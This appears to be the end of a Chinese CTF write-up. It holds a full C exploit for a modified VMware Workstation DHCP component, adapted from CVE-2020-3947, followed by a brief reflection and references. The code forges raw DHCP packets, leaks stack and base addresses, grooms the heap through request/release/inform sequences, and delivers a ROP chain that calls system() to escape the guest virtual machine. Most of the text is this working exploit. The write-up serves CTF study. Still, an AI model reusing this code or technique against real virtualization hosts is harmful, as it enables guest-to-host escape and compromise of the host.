463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>

#include <stdbool.h>
#include <netdb.h>
#include <net/if.h>
#include <sys/ioctl.h>
#include <bits/ioctls.h>
#include <linux/if_ether.h>
#include <net/ethernet.h>
#include <linux/if_packet.h>
#include<pthread.h>

//#include "includes/dhcp.h"

long long pop_rdi;
long long system_ptr;
long long ret_addr;
struct udpheader
{
unsigned short uh_sport; /* source port */
unsigned short uh_dport; /* destination port */
unsigned short uh_ulen; /* udp length */
unsigned short uh_sum; /* udp checksum */
// char fill[60000];
};
struct unudpheader
{
unsigned int saddr; /* source port */
unsigned int daddr; /* destination port */
unsigned char flag; /* udp length */
unsigned char pl;
unsigned short len; /* udp checksum */
char fill[60000];
};
unsigned short ip_checksum(unsigned short* buffer, int size);
int get_udpcheck(unsigned int saddr,unsigned int daddr,int len,char* buf,struct unudpheader **tmp);
struct udpheader *fill_udp_header(unsigned int saddr,unsigned int daddr,unsigned short src_port, unsigned short dst_port, int udp_packet_len);
int raw_send(char *buf,int size);
struct ip *fill_ip_header(unsigned int saddr,unsigned int daddr);
int udp_send(unsigned int saddr,unsigned int daddr,unsigned short src_port,unsigned short dst_port,char *p,int len );
int set_promisc (char *if_name, int sockfd);
int dhcp_request(char** buf,int len,char* payload,int payload_len,char* addr);
//--------------------------------------------------------


struct ip *fill_ip_header(unsigned int saddr,unsigned int daddr)
{
struct ip *ip_header;
ip_header = (struct ip *)malloc(20);
ip_header->ip_v = IPVERSION;
ip_header->ip_hl = 0x5;
ip_header->ip_tos = 16;
ip_header->ip_len = htons(20+16+20+12);
ip_header->ip_id = 8725;
ip_header->ip_off = 0;
ip_header->ip_ttl = MAXTTL;
ip_header->ip_p = IPPROTO_GRE ;
ip_header->ip_sum = 0;
ip_header->ip_src.s_addr =saddr;
ip_header->ip_dst.s_addr =daddr;
return ip_header;
}
int raw_send(char *buf,int size)
{
int i, datalen,frame_length, sd, bytes;
char *interface="ens33";;//"eth1"
uint8_t src_mac[6];
uint8_t dst_mac[6]="\xff\xff\xff\xff\xff\xff";
uint8_t ether_frame[IP_MAXPACKET];
struct sockaddr_ll device;
struct ifreq ifr;
if ((sd = socket (PF_PACKET, SOCK_RAW, htons (ETH_P_ALL))) < 0) {
perror ("socket() failed to get socket descriptor for using ioctl() ");
exit (EXIT_FAILURE);
}
memset (&ifr, 0, sizeof (ifr));
snprintf (ifr.ifr_name, sizeof (ifr.ifr_name), "%s", interface);
if (ioctl (sd, SIOCGIFHWADDR, &ifr) < 0) {
perror ("ioctl() failed to get source MAC address ");
return (EXIT_FAILURE);
}
close (sd);
memcpy (src_mac, ifr.ifr_hwaddr.sa_data, 6);
memset (&device, 0, sizeof (device));
if ((device.sll_ifindex = if_nametoindex (interface)) == 0) {
perror ("if_nametoindex() failed to obtain interface index ");
exit (EXIT_FAILURE);
}
device.sll_family = AF_PACKET;
memcpy (device.sll_addr, src_mac, 6);
frame_length = 6 + 6 + 2 + size;
memcpy (ether_frame, dst_mac, 6);
memcpy (ether_frame + 6, src_mac, 6);
ether_frame[12] = 0x08;
ether_frame[13] = 0;
memcpy (ether_frame + 14 , buf, size);
if ((sd = socket (PF_PACKET, SOCK_RAW, htons (ETH_P_ALL))) < 0) {
perror ("socket() failed ");
exit (EXIT_FAILURE);
}
if ((bytes = sendto (sd, ether_frame, frame_length, 0, (struct sockaddr *) &device, sizeof (device))) <= 0) {
perror ("sendto() failed");
exit (EXIT_FAILURE);
}
close (sd);
return frame_length;
}
struct udpheader *fill_udp_header(unsigned int saddr,unsigned int daddr,unsigned short src_port, unsigned short dst_port, int udp_packet_len)
{
struct udpheader *udp_header;
struct unudpheader* p=NULL;
udp_header = (struct udpheader *)malloc(8);
udp_header->uh_sport = src_port;
udp_header->uh_dport = dst_port;
udp_header->uh_ulen = htons(udp_packet_len);
udp_header->uh_sum = 0;
return udp_header;
}
int get_udpcheck(unsigned int saddr,unsigned int daddr,int len,char* buf,struct unudpheader **tmp)
{
int ret;
int i=0,chksumlen=0,check;
struct unudpheader *uuheader;
uuheader=(struct unudpheader *)malloc(sizeof(struct unudpheader));
memset((char*)uuheader,0x00,sizeof(struct unudpheader));
uuheader->saddr=saddr;
uuheader->daddr=daddr;
uuheader->flag=0;
uuheader->pl=17;
uuheader->len=htons(len);
memcpy((char*)uuheader+12,buf,len);
*tmp=uuheader;
check=ip_checksum((unsigned short int *) uuheader,(len+12));
free(uuheader);
return check;
}
unsigned short ip_checksum(unsigned short* buffer, int size)
{
unsigned long cksum = 0;
while (size > 1)
{
cksum += *buffer++;
size -= sizeof(unsigned short);
}
if (size)
{
cksum += *(unsigned char*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return (unsigned short)(~cksum);
}
int dhcp_request(char** buf,int len,char* payload,int payload_len,char* addr)
{
char *Bootstrap=(char*)malloc(0x1000);
char *p=Bootstrap;
*buf=Bootstrap;
*p=1;//bootstrap_header.message_type
p++;
*p=1;//bootstrap_header.hardware_type
p++;
*p=6;//bootstrap_header.hardware_len
p++;
*p=0;//bootstrap_header.hops
p++;
//*(int*)p=0x3d981a96;//bootstrap_header.transaction
*(int*)p=0x87c09f1e;//bootstrap_header.transaction
p=p+4;
*(unsigned short*)p=0;//bootstrap_header.seconds_elapsed
p=p+2;
*(unsigned short*)p=0;//bootp_flags.bootp_flags
p=p+2;
*(int*)p=inet_addr("192.168.139.128");//12
p=p+4;
*(int *)p=0;//bootp_flags.local_ip
p=p+4;
*(int *)p=0;//bootp_flags.next_server_ip
p=p+4;
*(int *)p=0;//bootp_flags.relay_agent_ip
p=p+4;
//memcpy(p,"\x00\x0c\x29\x88\xa7\x9a",6);//bootp_flags.client_mac_address
memcpy(p,"\x00\x0c\x29\x40\x01\x71",6);//bootp_flags.client_mac_address
p=p+6;
memset(p,0,10);//bootp_flags.client_hardware_address_padding
p=p+10;
memset(p,0x41,0x40);//bootp_flags.server_host_name_not_given 44
p=p+0x40;
memset(p,0x42,0x80);//bootp_flags.boot_file_name_not_given
p=p+0x80;
*(int *)p=0x63538263;//bootp_flags.magic_cookie
p=p+4;

//message_type
*p=0x35;
p++;
*p=1;
p++;
*p=1;
p++;

//requested_ip
*p=0x32;
p++;
*p=4;
p++;
*(int*)p=inet_addr("192.168.139.128");
p=p+4;
//memory for large uid
*p=0x3d;
p++;
*p=0x28;
p++;
memset(p,0x61,0x28);
p=p+0x28;


//parameter_request_list
*p=0x37;
p++;
*p=23;
p++;
memcpy(p,"\x01\x1c\x02\x79\x0f\x06\x0c\x28\x29\x2a\x1a\x77\x03\x79\xf9\x21\x2a\x01\x81\xfe\xff\x00\x03",23);
p=p+23;

//router
*p=3;
p++;
*p=5;
p++;
memcpy(p,"\xc0\xa8\xe4\x02",4);
p=p+5;
//domain_name
*p=15;
p++;
*p=16;
p++;
memcpy(p,"\x6c\x6f\x63\x61\x6c\x64\x6f\x6d\x61\x69\x6e",11);
p=p+16;

//broadcast_address
*p=28;
p++;
*p=4;
p++;
memcpy(p,"\xc0\xa8\xe4\xff",4);
p=p+4;

//subnet_mask
*p=0x33;
p++;
*p=4;
p++;
memcpy(p,"\x00\x00\x07\x08",4);
p=p+4;

//dhcp_server_identifier
*p=0x36;
p++;
*p=4;
p++;
memcpy(p,"\xc0\xa8\xe4\xfe",4);
p=p+4;

*p=0xff;
p++;

memset(p,0,31);
p=p+31;

len=p-Bootstrap;

return len;

//return 0;
}

int udp_send(unsigned int saddr,unsigned int daddr,unsigned short src_port,unsigned short dst_port,char* p,int len )
{

struct ip *ip_header;
int ret;

unsigned short checksum;
struct udpheader *udp_header;
char *buf;
buf=(char*)malloc(4096+4);
udp_header=fill_udp_header(saddr, daddr, src_port,dst_port,1000);
ip_header=fill_ip_header(saddr,daddr);
ip_header->ip_p=17;
ip_header->ip_src.s_addr =0;
ip_header->ip_dst.s_addr =0xffffffff;
ip_header->ip_len=htons(20+8+len);
ip_header->ip_sum = ip_checksum((unsigned short*)ip_header,20);
memcpy(buf,(char*)ip_header,20);
free((char*)ip_header);
udp_header->uh_ulen = htons(len+8);
memcpy(buf+20,(char*)udp_header,8);
memcpy(buf+28,p,len);
free(p);
udp_header->uh_sum=get_udpcheck(0,0xffffffff,len+8,buf+20,(struct unudpheader **)&p);
memcpy(buf+20,(char*)udp_header,8);
free((char*)udp_header);
ret=raw_send(buf, 28+len);
free(buf);
return ret;
}

void *get_stack_base_send(void *arg)
{
unsigned int saddr=inet_addr("0.0.0.0");
unsigned int daddr=inet_addr("255.255.255.255");
unsigned short dst_port=htons(67);
unsigned short src_port=htons(68);
int i=0,len=0,n=3,size=0x10,uid_len=0x10;
puts("[+]sending start.");
char *p;
char buf[0x1024]={0};
sleep(1);
len=dhcp_request(&p,0,0,0,0);
*(char*)(p+0xf8)=*(char*)(p+0xf8)-3;//换 request_ip 0xa0
*(char*)(p+15)=*(char*)(p+15)-3;// //bootp_flags.client_ip
memcpy(buf,p,248+2);
buf[248+2]=size;
memset(buf+248+3,0x61,size);
memcpy(buf+248+3+size,p+248+3+uid_len,64+16);
len=len-uid_len+size;
free(p);
p=(char*)malloc(0x1000);
memcpy(p,buf,0x1000);
udp_send(saddr,daddr,src_port,dst_port,p,len );
n--;
sleep(1);
printf("get_stack_base_send end stop \n");
return NULL;
}
int set_promisc (char *if_name, int sockfd)
{
struct ifreq ifr;
strcpy (ifr.ifr_name, if_name);
if (0 != ioctl (sockfd, SIOCGIFFLAGS, &ifr))
{
printf ("Get interface flag failed\n");
return -1;
}
ifr.ifr_flags |= IFF_PROMISC;
if (0 != ioctl (sockfd, SIOCSIFFLAGS, &ifr))
{
printf ("Set interface flag failed\n");
return -1;
}
}
long long base_addr = 0, stack_addr = 0;
void *get_stack_base_recv()
{
int sockfd;
int ret = 0;
char buffer[1518] = {0};
char *p;
unsigned char *eth_head = NULL;
struct iphdr *iph = NULL;
void* icmpH;
long long i=0;
if ((sockfd = socket (PF_PACKET, SOCK_RAW, htons (ETH_P_ALL))) < 0)
{
printf ("create socket failed\n");
return NULL;
}
if (0 != set_promisc ("ens33", sockfd))
{
printf ("Failed to set interface promisc mode\n");
return NULL;
}
puts("[+]recv start.");
while (i<0x40)
{
memset (buffer, 0x0, sizeof (buffer));
ret = recvfrom (sockfd, buffer, sizeof (buffer), 0, NULL, NULL);

iph = (struct iphdr*)((char*)buffer + 6 + 6 + 2);
icmpH=(void*)((char*)iph +sizeof(*iph));
p=((char* )icmpH+8);

if(iph->protocol!=1)
{
continue;
}
if(iph->saddr!=inet_addr("192.168.139.254"))
{
continue;
}
memcpy(&stack_addr,p+0x8,8);
memcpy(&base_addr,p+0x10,8);
base_addr -= 0x1c168;
//stack_addr -= 0x38;
i++;
if (stack_addr < 0x7f00000000) { continue; }
printf("stack_addr %llx\n",stack_addr);
printf("base_addr %llx\n",base_addr);
if(stack_addr!=0&&base_addr!=0)
{
return NULL;
}
}
return NULL;
}
void request_inform(char *ptr, int size) {
unsigned int saddr = inet_addr("0.0.0.0");
unsigned int daddr = inet_addr("255.255.255.255");
unsigned short dst_port = htons(67);
unsigned short src_port = htons(68);
char buf[4096] = { 0 };
int i = 0, len = 0, a, ret = 0, uid_len = 0x28, zero_addr = 0;
char *p;
len = dhcp_request(&p, 0, 0, 0, 0);
*(char*)(p + 242) = 8;//message_type
memcpy(buf, p, 248 + 2);
buf[248 + 2] = size;
memcpy(buf + 248 + 3, ptr, size);
memcpy(buf + 248 + 3 + size, p + 248 + 3 + uid_len, 64 + 16);
len = len - uid_len + size;
len = len - uid_len + size;
free(p);
p = (char*)malloc(0x1000);
memcpy(p, buf, 0x1000);
ret = udp_send(saddr, daddr, src_port, dst_port, p, len);
}
int exploit(){
unsigned int saddr=inet_addr("0.0.0.0");
unsigned int daddr=inet_addr("255.255.255.255");
unsigned short dst_port=htons(67);
unsigned short src_port=htons(68);
int i=0,len=0,a,ret=0,uid_len=0x28,size=0x10;
char *p;
char buf[2048]={0};
i=0;
puts("[+]star expolit.\n");
while(i<0x3)
{
len=dhcp_request(&p,0,0,0,0);
*(char*)(p+242)=3;////msg type字段->request
*(char*)(p+0xf8)=128+i;//request_ip 0xa0
*(char*)(p+15)=128+i;// //bootp_flags.client_ip
*(char*)(p+248+5)=i;

ret=udp_send(saddr,daddr,src_port,dst_port,p,len );
usleep(900);
i++;
}
puts("[+]sending 3 dhcp request.");
getchar();
char *z = "123";
for (int i = 0; i < 40; i++)
request_inform(z, 0x28);
puts("[+]clearing the free chunks in tcache.");
getchar();
i = 0;
sleep(1);
while(i<0x3)
{
len=dhcp_request(&p,0,0,0,0);
*(char*)(p+242)=7;//msg type字段->release
*(char*)(p+0xf8)=128+i;//换 request_ip 0xa0
*(char*)(p+15)=128+i;// //bootp_flags.client_ip
ret=udp_send(saddr,daddr,src_port,dst_port,p,len );
usleep(900);
i++;
}
puts("[+]sending 3 dhcp release.");
getchar();
sleep(1);
i = 0;
while (i < 0x3)
{
len = dhcp_request(&p, 0, 0, 0, 0);
*(char*)(p + 242) = 3;
*(char*)(p + 0xf8) = 128+i;//换 request_ip 0xa0
*(char*)(p + 15) = 128+i;// //bootp_flags.client_ip
*(long long*)(p + 248 +3) = stack_addr-0x20;
ret = udp_send(saddr, daddr, src_port, dst_port, p, len);
usleep(900);
i++;
}
puts("[+]sending 3 dhcp request.");
getchar();
sleep(1);
ret_addr= base_addr + 0x000000000002131d;
pop_rdi = base_addr + 0x0000000000019d21;
system_ptr = base_addr + 0x00000000000191b8;
long long rop[5];
rop[0] = pop_rdi;
rop[1] = stack_addr;
rop[2] = ret_addr;
rop[3] = system_ptr;
memcpy(&rop[4], "/gflag\x0", 0x8);
for (int i = 0; i < 40; i++)
request_inform((char*)rop, 5*8);
return ret;
}
int main(){
//get_stack_base_send(NULL);
int a=0;
pthread_t id_server,id_client;
pthread_create(&id_server,NULL,get_stack_base_send,NULL);
pthread_create(&id_client, NULL, get_stack_base_recv, NULL);
//scanf("%d", &a);
puts("leaking success.\n");
getchar();
exploit();
return 0;
}

感想

搜dhcp虚拟机逃逸会发现不仅是VMWare,virtualbox也有dhcp的逃逸漏洞,开源的组件相比于vmx来说挖洞难度更低,因为是魔改的,也可以用开源的代码降低逆向的难度,这道题很好地改编了CVE-2020-3947,从几天的调试分析过程中也学到了很多。

参考

选手看了都说想打出题人 | AntCTF x D^3CTF [Real_VMPWN] Writeup

CVE-2020-3947 : VMWARE WORKSTATION DHCP组件UAF 漏洞分析

CVE-2020-3947: USE-AFTER-FREE VULNERABILITY IN THE VMWARE WORKSTATION DHCP COMPONENT

您的支持将鼓励我继续创作